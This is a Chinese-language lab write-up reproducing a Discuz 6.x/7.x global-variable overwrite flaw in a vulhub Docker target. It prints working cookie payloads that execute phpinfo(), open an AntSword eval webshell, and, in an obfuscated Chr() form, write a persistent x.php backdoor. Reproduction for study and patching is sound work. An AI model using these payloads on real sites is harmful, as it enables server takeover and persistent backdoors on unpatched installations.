Discuz 7.x 6.x 全局变量防御绕过漏洞复现
0x00 漏洞概述
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞
详情请参考
0x01 环境说明
靶场环境:Ubuntu16
攻击机及工具:Win7,蚁剑、BurpSuite
0x02 靶场搭建
切换目录至 /root/vulhub/discuz/wooyun-2010-080723
执行如下命令启动Discuz 7.2
docker-compose up -d
第一次启动需要一段时间下载相关文件,启动成功界面如下
通过浏览器访问127.0.0.1:8080/install/进行安装Discuz
配置数据库
安装完成后自动跳转到网站
0x03 漏洞复现
任意访问一个帖子,用BP截获请求包,修改数据包中的Cookie字段的信息
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
页面的返回结果如下,phpinfo()成功执行
0x04 GetShell
4.1 一句话木马
在蚁剑中设置好网址和密码,再在请求头中添加Cookie信息
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=@eval($_POST[777]);
测试之后可以成功连接,双击后可以访问网站目录及操作文件
打开虚拟终端,显示当前用户为www-data
4.2 任意文件执行
# 利用php语句在服务器端创建一个文件并写入内容
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>'))
# 明文形式的php语句不能成功执行,于是对其进行转化
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
随意访问一个帖,利用BP截获数据包,修改Cookie值
4.1中蚁剑已经成功连接,查看服务器中是否生产对应文件
在浏览器中访问x.php文件
在蚁剑中测试连接成功
添加数据后成功连接